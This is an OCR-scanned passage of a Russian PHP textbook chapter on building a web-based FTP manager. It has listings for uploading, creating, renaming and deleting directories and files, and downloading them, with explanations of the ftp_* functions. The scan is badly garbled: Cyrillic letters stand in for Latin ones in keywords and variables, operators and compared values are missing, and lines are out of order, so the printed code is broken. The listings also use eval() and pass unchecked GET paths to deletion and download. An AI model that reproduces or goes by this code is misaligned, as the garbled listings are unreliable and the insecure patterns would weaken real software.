Глава 21. FТР-менеджер <td> <input type=checkbox title= '<?php echo $ur_hint ; ?> ' name=ur <?php echo $ur i ?» <input type=checkbox title= '<?php echo $uw_hint i ?> ' name=uw <?php echo $UWi ?» <input type=checkbox title='<?php echo $их hint i ?> ' name=ux <?php echo $их; ?» &nbspi&nbsPi <input type=che ckbox title='<?php echo $gr_hint i ?> ' name=gr <?php echo $gri ?» <input type=checkbox title= '<?php echo $gw_hint i ?> ' name=gw <?php echo $gwi ?» <input type=checkbox title= '<?php echo $gx_hint i ?> ' name=gx <?php �cho $gxi ?» &nbspi&nb sP i <input type=checkbox title= '<?php echo $or_hint i ?> ' name=or <?php echo $ori ?» <input type=checkbox title= '<?php echo $ow_hint i ?> ' name=ow <?php echo $OWi ?» <input type=checkbox </td> title='<?php echo $ox_hint i ?> ' name=ox <?php echo $ох; ?» </tr> <tr><td>&nbsP i</ td> <td><input class=button type=sиbmit value=< ?php echo html specialchars ($but ton) i?» </td></tr> <input type=hidden name=di r 913
914 Часть 11. Создание сайта value=< ?php echo htmlspecialchars ($directory) ;?» </table> </fonn> </td><td> <?php // Если не переданы параметры - настраиваем // форму на добавление директории $action "mkdir .php "; $button "Создать "; // Пр ава доступа по умолчанию // для поль зователя $ur $uw $их // // "checked" ; "checked" ; "checked" ; Пр ава доступа ДЛЯ группы "checke d" ; "11. , "checked" ; по умолчанию $gr $gw $gx // // Пр ава доступа по умолчанию для остальных поль зователей , не входящих в группу $or $ow $ох "checked" ; 1111. , "checked" ; $ur_h int $uw_h int $ux_hint $gr_h int $gw_hint $gx_h int $or_h int владельца '; 'Чтение файла ДЛЯ владель ца '; 'Редактирование файла ДЛЯ владельца '; 'Выполнение файла ДЛЯ владель ца '; 'Чтение файла ДЛЯ группы '; 'Редактирование файла ДЛЯ группы '; 'Выполнение файла ДЛЯ группы '; 'Чтение файла ДЛЯ пользователей , не входящих в группу $ow_hint = 'Редактирование файла ДЛЯ поль зователей , не входящих в группу владельца '; $ox_h int = 'Выполнение файла ДЛЯ поль зователей , не входящих в группу владельца ';
Глава 21. FТР-менеджер ?> < fo rm action=< ?php есЬо html specialchars ($action) ; ?> method=post> <table> <tr> <td сlаss=fiеld>Название директории :</td> <td><input size=31 type=text пате=пате va lue= " ></td> </t r> <tr> <td сlаss=fiеld>Права доступа :</ td> <td> <input type=checkbox title= '<? php есЬо $ur_hint ; ?> ' name=ur <?рЬр есЬо $ur; ?» <input type=checkbox title= '<?php есЬо $uw_hint ; ?> ' name=uw <?рЬр есЬо $uw; ?» <input type=checkbox title= '<?php есЬо $ux_hint ; ?> ' пате=их <?php echo $их; ?» &nbsP; &nbsp ; <input type=checkbox title= '<?php echo $gr_hint ; ?> ' name=gr <?php echo $gr; ?» <input type=checkbox title= '<?php есЬо $gw_hint ; ?> ' name=gw <?рЬр есЬо $gw; ?» <input type=checkbox title='<?php echo $gx_hint ; ?> ' name=gx <?php echo $gx; ?» &nbsP ;&nbsp ; <input type=checkbox title= '<?php есЬо $or_hint ; ?> ' name=or <?рЬр есЬо $or; ?» <input type=checkbox title= '<?php echo $ow_hint ; ?> ' name=ow <?php есЬо $ow; ?» <input type=checkbox title= '<?php есЬо $ox_hint ; ?> ' 915
916 пате=ох <?php echo $ох; ?» </td> </tr> <tr><td> &nbsp; </td> <td><input c1ass=button type=submit Часть 11. Создание са йта va1ue=< ?php echo htm1 specia1chars ( $button ) ;?» </td>< /tr> <input type=hidden name=dir va1ue=< ?php echo html specia1chars ($directory) ;?» </table> </form> </td></tr></table> <?php ?> // Включаем завершение страницы requi re_once ("../uti1s /bottom.php") ; Файл index.php (л исти нг 21.7) принимает единственный аргумент dir, в ко­ тором передается путь к текущей директории относител ьно корневой дирек­ тории РТР-сервера. Для того чтобы пользователь в каждый момент времени мог определ ить свое местонахождение, перед табл ицей выводится навигационная стр ока со спи­ ском директорий от корня до текущей директории. Каждая из директо рий является гиперссылкой, обеспечивающей возврат к родител ьской директо ­ рии. Табл ица с содержимым текущей директории формируется при помощи функ­ ции ftp_rawl ist (), которая отправляет РТР-серверу команду FT P LIST, аналогичную по действию UNIХ-утилите ls - 1 . Синтаксис функции ftp_rawl ist () представлен ниже : array ftp_raw1 ist ($ftp_hand1e, $directory ) Параметр $ ftp_hand1 e является дескриптором соединения, возвращаемого функцией ftp connect ( ) , вызов которой осуществляется в файле ftp_connect.pl1 p (см. листинг 21.1). Второй параметр $directory представля ет собой относител ьный путь к директории, содержимое которой необходи мо возвратить .
Гл ава 21. FТР -менеджер 917 Функция возвращает массив строк, каждая из которых содержит информа­ цию о подкатал оге или файле . В файле il1dex.pi1p в качестве такого масс ива выступ ает $fi le_ list. Строки табл ицы формируются последовател ьным обходом масс ива $ f ile_ list при помощи цикла foreach. Стол бцы в строках массива $ file_l ist, возвращае мого функцией ftp_conne ct (), разделены произволь­ ным числом пробелов: drwxr-x- - - 3 softtime softtime 4096 Ju l 12 12 :16 public_ftp Так как число пробелов произвол ьное, использовать функции explode () И st rtok () для разбивки строки на отдел ьные подстроки не получится . Вместо них следует испол ьзовать функцию preg_ split (), позволяющую разбить стр оку по регулярному выраже нию . ЗА МЕЧА НИЕ Синта ксис функции preg_ split ( ) более подробно обсуждается в прuло­ женuu 4. в листинге 21.7 в качестве подстроки-раздел ителя испол ьзуется регулярное выражение "/ [\s] + /", которое интерпретируется как оди н ил и нескол ько обобщенных пробелов. ЗА МЕЧАНИЕ Символ обобщенного пробела [ \s] аналогичен [ \f\n\r\t\v] . Таким об­ разом, он включает не тол ько символ пробела, но и конец файла, перенос строки , возврат каретки , символы обычной и верти кал ьной табуляции. Функция preg_ split ( ) возвращает массив из девяти эл ементо в, которые при п омощи функции list () помещаются в следующие переменные: О $асс - режим доступа; О $bloks - коли чество блоков; О $group - группа-владелец файла ил и директории; О $user - пользовател ь-владелец файла ил и директории; О $size - размер файла в байтах; О $month - месяц создания файла ил и директории; О $day - число создан ия файла или директории;
918 о $year - год создания файла ил и директории; О $file - название файла или директории. Часть 11. Создание сайта Если имя директории совпадает с точкой ил и двоеточием, обработка дан н ой записи игнорируется за счет выполнения оператора continue, прекращающе­ го выполнение текущей итерации цикла: if($file== ".." I I $file== ".") continue; Обозначения "." и " .." являются специальными скрыты ми директориями , которые ссылаются на текущую и вышележащую директории - табл ицу со­ держимого ими лучше не засорять, так как перед ней имеется навигационная строка, позволяющая возвращаться на предыдущие уровни. РТР-сервер возвращает дату в английском формате; для удобства аНГЛИЙские сокращения месяцев преобразуются в русские при помощи конструкции за- мены: $eng array ("Jan" , "Feb " , "Mar", "Apr ", "May,r , "Jun " , "Jul", "Aug ", "Sep" , "Oct", IINov" , "Оее" ); $rus = аrrау ("Янв ", "Фе в", "Мар" , "Anр" , "Май", "Июн", "Июл", "Авг", "Сен" , "ОКТ " , "Ноя" , "Дек" ); $month = str_replace ($eng , $rus , $month) ; После это го происходит формирование URL дЛЯ файла или директории, по­ мещаемого в переменную $url; все двойные слэши // в URL заменяются од и ­ ночными /, при этом содержимое URL пропускается через функцию urlencode (), обеспечивающую преобразование пробелов, национальных и прочих недопустимых в URL символов в безопасную форму. В зависимости от того, является файл обычным файлом или директорией, его данные помещаются соответственно в мас сивы $fil и $dir. Промежуточные массивы необходимы для того, чтобы выводить директории и файл ы в при­ вычном формате - снач ала директории, затем файлы. Дел о в то м, что РТР­ серверы зачастую возвращают файлы и директории вперемешку, что сбивает работу пользователей. Массивы $fil и $dir помимо дан ных, возвр'ащенных функцией ftp_rawlist ( ) , содержат элементы с ключам и " de lete " и" edit " для управляющих ссылок Удалить и Редактировать соответственно . В случае файла в элемент с кл ючом " file " помещается управляющая сс ылка на загрузку файла, а в случае директории - ссыл ка на переход к ее содер­ жимому. Для директорий эл емент "size" заменяется строкой-признаком ди­ ректории " <DIR>" . После цикла формирования масс ивов $fil и $dir их содержимое выводится при помощи двух циклов foreach.
Глава 21. FТР-менеджер 919 Завершают файл две НТМL-формы, первая из кото рых позволяет загрузить файл в текущую директо рию и установить права доступа к нему, а вторая создает новый подкаталог. Помимо основного поля пате (ти па file для за­ грузки файла и ти па text для создания директории) формы содержат 9 флажко в, объеди ненных в три группы и предназначенных для назначения прав доступа. Имя каждого из флажков состоит из двух символов. Первый с и мвол может принимать значения и, g и о для владел ьца, группы и остал ь­ н ых пользовател ей соответственно. Второй символ может принимать значе­ н ия r, w И х для чтения, записи и просмотра директории. По умолчанию для загружаемого файла выставляются права доступа -rw -r --r --, а для новой директо рии drwxr-xr-x. За обработку данных НТМL-формы для загрузки файла на сервер несет от­ ветственность обработч ик t1pload .pilp, содержимое которого представлено в л исти нге 21.8 . Листинг 21 .8 . Загрузка файла на FTP-сервер, upJoad.php <?php // Устанавливаем соединение с базой данных require_once ("../ . ./config/config .php ") ; // Подключаем блок авторизации requi re_once ("../utils/securitY_ffiod .php ") ; // Устанавливаем соединение с FТP- cepBepoM requi re_once ("../ ../config/ftp_connect . php" ) ; // Получаем значения переменных , переданных // методом POST из НТМL- формы up loadform. php $dir = $_POST ['dir ' ]; // Пр еобразуем права доступа пользователя // в числовую форму $user = О; if ($_POST [ 'ur' ] 'оп' ) $user += 4; Н($ POST [ 'uw' ] 'оп' ) $user += 2; - Н($ POST [ 'их' ] 'оп' ) $user += 1; - // Пр еобразуем пр ава доступа ДЛЯ группы // в числовую форму $group = О; if($_POST ['gr '] if{$_POST[ 'gw'] 'оп' ) $group += 4; 'оп' ) $group += 2;
920 Н($ POST['gx'] == ' оп') $group += 1; // Пр ава доступа по умолчанию // для поль зователей , не входящих в группу $other = О; if ( $_POST ['or '] if ($_POST ['ow '] if($_POST[,ох' ] 'оп' ) $other += 4; 'оп' ) $other += 2; 'оп' ) $other += 1; // Пр оверяем , введено ли имя файла if (ernpty ($_POST ['dir ' ] )) $di rectory "/"; е1зе $di rectory = $_POST ['dir ' ]; if (!ernpty ($_FILES ['пате ' ] [ 'trnр_пате ' ] ) ) Часть 11. Создание са йта $пате str_rep1ace ("/ /", "/", $directory . "/" . $ _FILES [ 'пате ' ] [ 'пате' ] ) ; $пате str_replace ("..", "", $пате ) ; // Начинаем загрузку $ret = @ftp_nb_p ut ($ftp_handle , $пате , whi le ($ret $_FILES['пате'] [ 'trnр_пате '] , FTP_BINARY ) ; FТ P_MOREDATA) // Продолжаем загрузку $ret = @ftp_nb_cont inue ($ftp_handle ) ; if ($ret != FTP_FIN ISНED) exit ("<br>Bo время загрузки файла произошла ошибка ...") ; else @unl ink ($ FILES ['naтe' ] ['trnр_пате' ]); // Создаем восьмеричную переменную $rnode // с правами доступа к директории eval ("\$rnode= O$user$group$other ;") ; // Изменяем права доступа // для толь ко что созданной директории
Гл а ва 21. FТР -мене джер 921 @ftp_chmod ($ftp_handle, $mode , $name) ; header ("Location : index .php ?dir=" . urlencode ($di r) ); ?> ПОМ И М О рассмотренной выше тексто вой формы дл я задан ия прав доступа, в оп ерационной системе UNIX права доступа можно задавать восьмеричны м числ о м . При это м праву чтения соответствует цифра 4, праву записи - 2, а исполнению - 1 . Общие права для групп задаются сум мой этих чисел , так 6 (4 + 2) обеспечивает возможность чтения и записи, а 7 (4 + 2 + 1) - предос­ та вляет полный доступ к файлу или директории. Тогда дл я директории вось­ меричное число 0755 означает, что владел ец директории имеет к ней полный доступ ( rwx) , а все остальны е имеют право читать файлы в ней и просматри­ вать содержимое ( r-x) . ЗА МЕЧАНИЕ В Р Н Р восьмеричные числа пред варяются нулем. в листи нге 21.8 после устан овления соеди нения с FTP-сервером анализиру­ ются состояния флажков, получе нные из НТМL-формы. Значения прав дос­ тупа в восьмеричном формате сохраняются в трех врем енны х переменных: $user, $group и $other для владел ьца-пол ьзовател я, группы владел ьца и всех остальных пользователей соответственно. Резул ьтирующее восьм еричное ч исло формируется в переменной $mode при помощи функции eva l ( ), при­ нимающей единственны й тексто вый параметр, содержимое кото рого интер­ претируется как РНР-код. Инициализация загруз ки файла на FTP-сервер осуществляется функцией ftp_nb_p ut (), которая имеет следующий синтаксис: ftp_nb_put ($ftp_handl e, $remote_file , $local_file, $mode [, $startpos ]) В качестве первого параметра $ftp_handle функция принимает дес криптор соединения с FTP-сервером. Второй аргумент $remote_file определ яет имя и путь к файлу на удаленном FTP-сервере, а трети й - $local_file - путь К локальному файлу. Четвертый параметр $mode указывает режим передач и информации : FT P_AS CII дЛ Я текста и FT P_B I NARY - дЛЯ бинарных файлов. Необязател ьный пяты й параметр $startpos позволяет задать позицию в бай­ тах, начиная с кото рой следует загружать файл . Функция возвращает одну из трех констант : О FТ Р_FАI LЕ D-если не удал ось передать файл на FTP-сервер;
922 Часть 11. Создание сайmа D FТ Р_FIN ISНЕ D - есл и передача файла на сервер завершена успешно; D FT P_MOREDATA - если в настоя щий момент передача данных продолжается . Есл и функция возвращает константу FT P_MORE DATA, скрипт ожидает заверше­ ния загрузки файла в цикле whi le. Статус процесса ко нтрол и руется при по­ мощи функции ftp_nb_c ont inue (), принимающей от функци и ftp_connect () в качестве ед инственного параметра дескриптор соединен ия link. Функция ftp_nb_c ont inue () возвращает те же самые константы, что и функция ftp_nb_put (). После завершения загрузки файла на FTP-сервер функция ftp_nb_c ont inue ( ) возвращает константу FT P_FINI SHED, и скрипт выходит из цикла whi le. После ус пешной загрузки файла на сервер его права доступа изменяются согласно данным, введенным пользователем в НТМL-форме. Это выполняется при по­ мощи функции ftp_chmod ( ) , которая имеет следующий синтаксис: string ftp_chmod ($ftp_handle , $mode , $directory ) В качестве первого аргумента $ ftp_handle эта функция, так же как и бол ь­ шинство других функций для работы с FTP, принимает дескриптор соедине­ ния, возвращаемый функцией ftp_conne ct ( ) . Второй параметр $mode прини­ мает восьмеричное число, задающее права доступа к директории. Последн ий параметр $di rectory задает название директории или файла, к которым из­ меняются права доступа. Функция возвращает тол ько что устан овленные права в случае успеха и false - в противном случае . В заключение при помощи НТТР-заголовка Location осуществляется авто­ матический переход на гл авную страницу адм инистрирования. За обработку данных, полученных из НТМL-формы создания директории, несет ответственность обработчик в файле шkdiг.рI1Р, содержимое которого представлено в листинге 21.9. Листинг 21 .9 . Создание директории, mkdir.php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../config/config .php ") ; // Подключаем блок авторизаци и require_once (" ../utils/security_mo d .php" ) ; // Устанавливаем соединение с FТ P-cepBepoM require_once (" ../ . ./config/ ftp_connect .php" ) ;
Гла ва 21. FТР -менеджер / / Получаем значения переменных , переданных // методом POST из НТМL-формы mkdirform.php $dir = $_POST ['dir ' ]; $пamе = $_POST ['name' ]; / / Пр еобразуем пр ава доступа поль зователя // в числовую форму $user = О; Н($ POST [ 'ur' ] 'оп' ) $user += 4; - Н($ POST[ 'uw'] 'оп' ) $user += 2; - Н($ POST [ 'их' ] 'оп' ) $user += 1; - // Преобразуем пр ава доступа группы // в числовую форму $group = О; if($_POST[,gr' ] if ($_POST ['gw' ] if($_POST[,gx'] 'оп' ) $group += 4; 'оп' ) $group += 2; 'оп' ) $group += 1; // Пр ава доступа по умолчанию // поль зователей , не ВХОДЯЩИХ в группу $other = О; if($_POST ['or '] if($_POST[,ow'] if ($_POST ['ох ' ] 'оп') $other += 4; 'оп' ) $other += 2; 'оп' ) $other += 1; // Проверяем, введено ли имя для директории if( !preg_match("1 л[-\w\d_\ "]+$1 ",$пате) ) ехit ("Недопустимое имя директории") ; $new di r str_replace ("//", "/", $dir. "/" . $name) ; // Создаем каталог с именем $пате @ftp_mkdi r ($ftp_handle, $new_d ir) ; // Создаем восьмеричную переменную $mode // с правами доступа к директории eval ("\$mode=O$user$group$other;") ; // Изменяем пр ава доступа 923
924 // к только что созданной директории @ftp_chmod ($ftp_handl e, $rnode , $new_di r) ; Часть 11. Создание са йта heade r ("Location : index .php ?dir=" . urlencode ($di r) ) ; ?> Обработка прав доступа в листинге 21.9 выполняется аналогично рассмот­ ренному выше механизму обработки для загружаемого на сервер файла (лис­ тинг 21.1О). Перед создан ием директории имя переменной проверяется при помощи регулярного выражения " I л[-\w\d_\"]+$ I " и функции preg_rna tch () на предмет содержан ия недопусти мых символов. Есл и и м я создаваемой директории содержит сим вол ы , отличные от букв, цифр и сим­ волов двойной кавычки, работа скрипта останавливается, а пользователю в ы ­ водится сообщение: Недопусти мое имя директории. Создан ие директории осуществляется при помощи функции ftp_rnkd ir (), имеющей сл едующий синтаксис: ftp_rn kd ir ($ftp_handle , $directory) Функция принимает два параметра, первый из которых - $ftp_handle­ является дескриптором соединения, возвращаемым функцией ftp_connect (). в качестве BTO P�ГO аргумента directory в ы ступает имя создаваемой дирек­ тории. В случае успешного создан ия новой директории функция возвращает имя тол ько что созданной директории, а в случае неудач и - false. Дале� будет рассмотрено изменение имени директории (файла) и прав досту­ па к ней, осуществляемое при помощи управляющей ссылки Редактировать, которая ссылается на НТМL-форму ci1dirfo rm .pI1p. Есл и редактируется файл со сс ы лкой, помимо информации о правах доступа и имени редактируемого файла передается GЕТ-параметр file, который дл я файла принимает значе­ ние " file" . Если редактированию подвергается директория, GЕТ-параметр file не передается . В листи нге 21.1О приводится содержимое НТМL-формы сi1diгfопn .рI1Р. Листинг 21 .10. Редакти рова ние имени и пра в доступа файлов и директорий , chdirform .php <?php // 'Данные переменные определяют название страницы и подсказку if (ernpty ( $_GET ['file' ])) $title = 'Редактирование директории ';
Гп ава 21. FТР-менеджер $pageinfo = '<р сlаss=hеlр> Редактирование имени директории и прав доступа ('.htmlspecialCharS ( $_GET ['dir ' ]). ') . Пр ава доступа позволяют задать пр ава на чтение , запись и просмотр директории ДЛЯ владель ца файла , его группы и всех остальных поль зователей . Назначение каждого из флажков можно узнать из всплыв ающей подсказ ки. ДлЯ ее вызова необходимо навести на флажок и задержать над ним курсор �.</p>' ; $name_position = "директории "; $ur_h int 'Чтение файлов директории ДЛЯ владельца '; $их hint $gr_h int $gw_h int $gx_hint $or_h int else 'Создание и редактирование файлов в директории ДЛЯ владельца '; 'Чтение содержимого дир ектории ДЛЯ владель ца '; 'Чтение файлов директории ДЛЯ группы '; 'Создание и· редактирование файлов в диреКТОрvlli ДЛЯ группы '; 'Чтение содержимого директории ДЛЯ группы '; 'Чтение файлов директории ДЛЯ поль зователей , не входящих в группу владельца '; 'Создание и редактирование файлов в директории ДЛЯ поль зователей , не входящих в группу владельца '; 'Чтение содержимого директории ДЛЯ поль зователей , не входящих в группу владель ца '; $title = 'Редактирование файла '; $pageinfo = '<р сlаss=hеlр>Редактирование имени файла и прав доступа (' . htmlspecialchars ( $_GET ['dir ' ]).')</р> Пр ава доступа позволяют задать права на чтение , запи сь и просмотр директории ДЛЯ владель ца файла , его группы и всех осталь ных поль зователей . Назначение каждого из флажков можно узна ть из всплывающей подсказки . ДлЯ ее вызова необходимо навести на флажок кур сор. мыши и задержать его . '; $nameyo sition = "файла "; $ur_hint 'Чтение файла ДЛЯ владельца '; $uw_hint 'Редактирование файла ДЛЯ владельца '; 'Выполнение файла ДЛЯ владельца '; 925
926 'Чтение файла для группы '; 'Редактирование файла для группы '; 'Вьmолнение файла для группы' ; Часть 11. Создание са йта $gr_hint $gw_hi nt $gx_h int $or_hint 'Чтение файла для поль зователей , не входящих в ГРУППУ владельца '; 'Редактирование файла для поль зователей , не входящих в группу владель ца '; 'Вьmолнение файла для поль зователей , не входящих в группу владельца '; // Устанавливаем соединение с базой данных require_once ("../ . ./config/config .php") ; // Подключаем блок авторизации require_once ("../uti1s/securitY_ffiod .php ") ; // Включаем заголовок страницы require_опсе (" ../uti1s/t op . php" ) ; // Устанавливаем соединение с FТP-cepBepoM require_once ("../ . ./con fig/ftp_connect .php ") ; // Извлекаем из строки запроса имя изменяемой директории // и пр ава доступа $dir $асс $_GET[ ,dir' ] ; $_GET[,асс']; // Осуще ствляем разбор прав доступа поль зователя if (substr ($асс, 1, 1) == 'r' ) $ur = "checked" ; e1se $ur = ""; i f (sub str ($асс, 2, 1) 'w' ) $uw "checked" ; e1se $uw = ""; if(sub str ($асс, З, 1) 'х' ) $их "checked" ; e1se $их = ""; // Осуществляем разбор прав доступа группы if(substr($acc, 4, 1) == 'r') $gr "checked" ; e1se $gr = ""; if (substr ($acc, 5, 1) 'w' ) $gw "checked" ; e1se $gw = ""; if(substr($acc, 6, 1) 'х' ) $gx "checked" ; e1se $gx = "If_ ,
Гл ава 21. FТР -менеджер ?> // Осуществляем разбор пр ав доступа остальных поль зователей if (substr($асс, 7, 1) = 'r') $or = "checked"; e1se' $or = ""; if(sub str ($асс, 8, 1) e1se $ow = ""; i f (substr ($асс, 9, 1) else $ох = "If. , 'w' ) $ow "checked" ; 'х' ) $ох "che cked" ; // Если не переданы параметры - настраиваем // форму на добавление директории $action "chdir .php"; $button "Ре дактировать "; // Включаем НТМL-форму <form action=< ?= $action ; ?> method=post> <table> <tr> <td сlаss=fiеld>Название <? echo html specialchars ($name_p osition) ; ?> : </td> <td><input size=3 1 type=text пamе=пamе va lue= '<? echo html specialchars (basename ($di r) ); ?> ' ></td> </tr> <tr> <td сlаss=fiеld>Права доступа :</ td> <td> <input type=checkbox title= '<?php echo $ur_hint ; ?> ' name=ur <?php echo $ur ; ?» <input type=checkbox title= '<?php echo $uw_hint ; ?> ' name=uw <?php echo $uw; ?» <input type=checkbox title= '<?php echo $ux_hint ; ?> ' пате=их <?php echo $их; ?» &nbsP ;&nbsp ; <input type=checkbox title= '<? php echo $gr_hint ; ?> ' name=gr <?php echo $gr; ?» <input type=checkbox 927
928 Часть 11. Создание са йта title='<? php echo $gw_h int i ?> ' narne=gw <?php echo $gwi ?» <input type=checkbox title='<? php echo $gx_hint i ?> ' narne=gx <?php echo $gxi ?» &nbsP i&nbsP i <input type=checkbox title= '<?php echo $or_hint i ?> ' narne=or <?php echo $ori ?» <input type=checkbox title='<?php echo $ow_h int i ?> ' narne=ow <?php echo $OWi ?» <input type=checkbox </td> title= '<?php echo $ox_hint i ?> ' пarnе=ох <?php echo $ох; ?» </tr> <tr> <td> &nbsP i</ td> <td><input class=but ton type=submit value=< ?php echo html specialchars ($button) i?» </td> </tr> <input type=hidden narne=dir value=< ?php echo html specialchars ($di r) i?» </table> </form> <?php ?> // Включаем завершение страницы require_once (" ../utils /bottom.php" ) i Внешний вид НТМL-формы, которая ге нерируется скриптом из листин­ га 21.1О, приведен на рис. 21 .2 . Представл енная НТМL-форма содержит тексто вое поле дл я названия файла ил и директории, а таЮI<е группу из девяти флажков для изменения прав дос­ ту па. Обработч ик НТМL-формы chdir.pl1p представл ен в листинге 21 .1 1 .
Глава 21. FТР-менеджер УпраапеН11ft аккаvнrами Структура сайта Кэталоr проnукции К9. .tlJ.я.l.II!:\ ;)J:\ ИНформ аЦИR Вопросы 11 Ответы ПР.. .. 'еНеnжep [Qgевэ.а.l lliIШ! Бnок новости Редактирование �f�,еIiИДКJ)et:rории и прав ДОС1Упа (1viIaros ..ru/tmJ» . Права ДОС1Упа П03ЕЮМIOr заДII'IЪ права на '1тение, запись . и ПIЮCМОip ДИJ)е!>ТОРИИ Дf11f владельца файла, ею rруппы и всех остальных пол ьзователей. На:maчение каждoro флажка МОЖНО yзtilПb из ВСПЛЫВl l ющеii подсказки. Для её ВЫЗОВil не06ходиr.ю навести И задержать над флажком КYJ)C<>P мыши. Назвaюte директории: 'tтp . --- --_..._.-._._._.._-- _._._-- ._----_: ПраВ8 дocтyna: Реда ктировать Рис. 21 .2 . НТМL-форма, предназначенная для реда кти рования имени и прав доступа к файлам и директориям Листинг 21 .1 1. Обработчик НТМL-формы ДЛЯ реда ктирования фа йлов и директорий, chdir.php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../config/config .php " ) ; // Подключаем блок авторизации require_once (" ../utils/security_m od .php ") ; // Устанавливаем соединение с FТP-cepBepoM require_once (" ../ ../config/ftp_connect .php ") ; // Получаем значения переменных , переданных // методом POST из НТМL-формы mkdi rform . php $dir = $_POST ['dir ' ]; $пате = $_POST ['name' ]; // Пр еобразуем пр ава доступа поль зователя // в числовую форму 929
930 Часть 11. Создание сайта ?> $user = О; Н($ POST ['ur '] 'оп' ) $user += 4; - Н($ POST [ 'uw' ] 'оп' ) $user += 2; - Н($ POST ['их' ] 'оп' ) $user += 1; - // Пр еобразуем права доступа для группы // в числовую форму $group = О; Н($ POST ['gr '] 'оп' ) $group += 4; - Н($ POST [ 'gw' ] 'оп' ) - $group += 2; Н($ POST ['gx' ] 'оп' ) - $group += 1; // Права доступа по умолчанию // для поль зователей , не входящих в группу $other = О; if($_POST ['or '] if($_POST[ ,ow' ] if($_POST[,ох' ] 'оп' ) $other += 4; 'оп' ) $other += 2; 'оп' ) $other += 1; // Проверяем, введено ли имя директории if ( !preg_ma tch ("1 л [-\w\d_\"\.] +$ 1 ", $пате ) ) exit ("Недопустимое имя" ) ; str_replace ("//", "/", substr($dir, О, strrpos ($di r, "/") ) ."/" .$пате) ; // Переименовываем каталог @ftp_rename ($ftp_handle , $dir, $new_d ir) ; // Создаем восьмеричную переменную $mode // с правами доступа к директории eva l ("\$mode= O$user$group$ other ;") ; // Изменяем права доступа // к толь ко что созданной директории @ftp_chmod ($ftp_handle, $mode , $new_di r) ; $dir = urlencode (sub str ($di r, О, strrpos ($di r, "/") )); header ("Location : index .php ?dir=" . $dir) ; Как ВИДНО из листинга 21.1 1, код файла chdir.php ВО многом схож с mkdir.php (СМ. листинг 21.9). Единственное различие заключается в функции ftp_r ename ( ), осуществляющей переименование директории. Синтаксис функции представлен ниже : bool ftp_rename ($ftp_handl e, $from, $to)
Гл а ва 21. FТР-менеджер 931 в качестве первого аргумента $ftp_handl e функция принимает дескриптор соединения с РТР-сервером, возвращаемый функцией ftp_conne ct () . Через второй аргумент $frorn передается имя переименовываемой директории. В качестве третьего параметра $to выступает новое имя директории. Удаление директо рии с РТР-сервера осуществляется при помощи скрипта rrnd i r.php, код которого приведен в листинге 21.12. Л истинг 21 .12. Удале ние дирeкrории rrodir . php <?php ?> // Устанавливаем соединение с базой данных requi re_once ("../ ../con fig/config .php" ) ; // Подключаем блок авторизации require_once ("../uti ls /security_rnod .php" ) ; // Устанавливаем соединение с FТP-cepBepoM requi re_once ("../ ../con fig/ ftp_connect .php ") ; // Для того чтобы удалить директорию, необходимо // убедиться, что она не пустая . Для этого запрашиваем // ее содержимое $list_file = ftp_nl ist ($ftp_handle , $_GET['dir' ]); if ( count ($list_fi l e» 2) ехit ("Невозможно удалить директорию, так как она содержит файлы или вложенные директории" ) ; // Если директория пуста - удаляем ее @ftp_rrndir ($ftp_handl e, $_GET['dir ' ]); // Осуществляем автоматический переход // на страницу администрирования ftр- каталога $dir = urlencode (substr ( $_GET ['dir ' ], О, strrpos ( $_GET ['dir'], "/") )); header ( "Locat ion : index .php ?dir=$dir") ; Скрипт из листинга 21.12 принимает единственный параметр dir С именем удал яемой директории. Удаление директории происходит лишь в том случае, есл и она пуста. Для того чтобы убедиться в этом, скрипт возвращает содер­ жимое удал яемого катал ога при помощи функции ftp_nlist (), которая, в отличие от ftp_rawl ist (), передает лишь имена директорий и файлов. Функция ftp_nl ist () имеет следующий синтаксис: ftp_nlist ($ftp_handl e, $directory)
932 Часть 11. Создание сайта Функция принимает в качестве первого аргумента $ft p_handle дескрипто р соединения с РТР-сервером, возвращаемый функцией ftp_c onnect ( ) , а в ка­ ч естве вто рого - $directory - имя директории. В случае ус пеш ного за­ вершения функция возвращает масс ив, содержащий имена поддиректорий и файл ов, находящихся в директории $directory. Есл и кол ичество чл ено в масс ива, возвращаемого функцией ftp_nlist (), бол ьше единицы, скрипт останавл ивается с ошибкой . Есл и директо рия пуста, то она удаляется при помощи функции ftp_rmd ir (), имеющей сл едующий синтаксис: ftp_rmdir ($ftp_handle, $directory) Функция удаляет директорию $directory и возвращает true В сл учае успеха и false - в противном случае. Удал ение файл а с РТР-сервера осуществл яет скрипт, распол оженный в файле rmfile.php, содержи мое которого приведено в л исти нге 21 .13. Файл принима­ ет единственный параметр dir, в котором ему передается путь к удал яемому файлу. Листинг 21 .1 3. Файл rmfile.php <?php ?> // Устанавливаем соединение с базой данных require_once (" ../ ../ config/config .php " ); // Подключаем блок авторизации requi re_on ce (" ../utils /security_m Od .php" ) ; // Устанавливаем соединение с FT P-сервером require_once ("../ . ./ config/ftp_connect .php ") ; / / Удаляем файл @ftp_delete ($ftp_handle , $_GE T['dir ' ]); // Осуще ствляем автоматический переход // на страницу администрирования ftр-катало га $dir = urlencode (substr ( $_GET ['dir '], О, strrpos ( $_GET ['dir ' ], "/") }}; header ("Location : index .php ?dir=$dir"} ; Удаление файла осуществл яется при помощи функции ftp_de lete (), кото­ рая принимает в качестве первого аргумента дескриптор соединения с РТР­ сервером, а в качестве второго - путь к удал яемому файлу. В случае успешного удаления файла функция возвращает true И false - в противном сл учае .
Глава 21. FТР-менеджер 9ЗЗ Последний сервис, который будет рассмотрен в данной гл аве, - это загрузка файл ов с FTP-сервера на локальную машину пользовател я. Дл я это го файл н ео бход имо загрузить во временную директорию Web-приложения files И уже оттуда отправить его по НТТР-протоколу пол ьзователю. За загруз ку файл ов с FTP-сервера несет ответственность файл dowl1load.pl1p, содержимое кото рого представлено в листинге 21.14. Листинг 21 .14. Файл download.php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../con fig/config .php ") ; // Подключаем блок авторизаци и requi re_once (" ../utils/security_m od .php ") ; // Устанавливаем соединение с FT P-сервером require_once (" ../ ../config/ftp_c onnect .php ") ; // Генерируем уникальное имя файла $localfile = tempnam("files ", "down " ); $ret = @ftp_nb_get ($ftp_handle , $localfile, $_GET ['dir ' ], FTP_BINARY ); wh ile ($ret == FТ P_MORE DATA) // Продолжаем загрузку $ret = @ftp_nb_c ont inue ($ftp_hand le ) ; @chmod ($localfile, 064 4) ; // Если происходит ошибка при загрузке файла , // уведомляем об этом пользователя if ($ret != FTP_FINISНED) exit 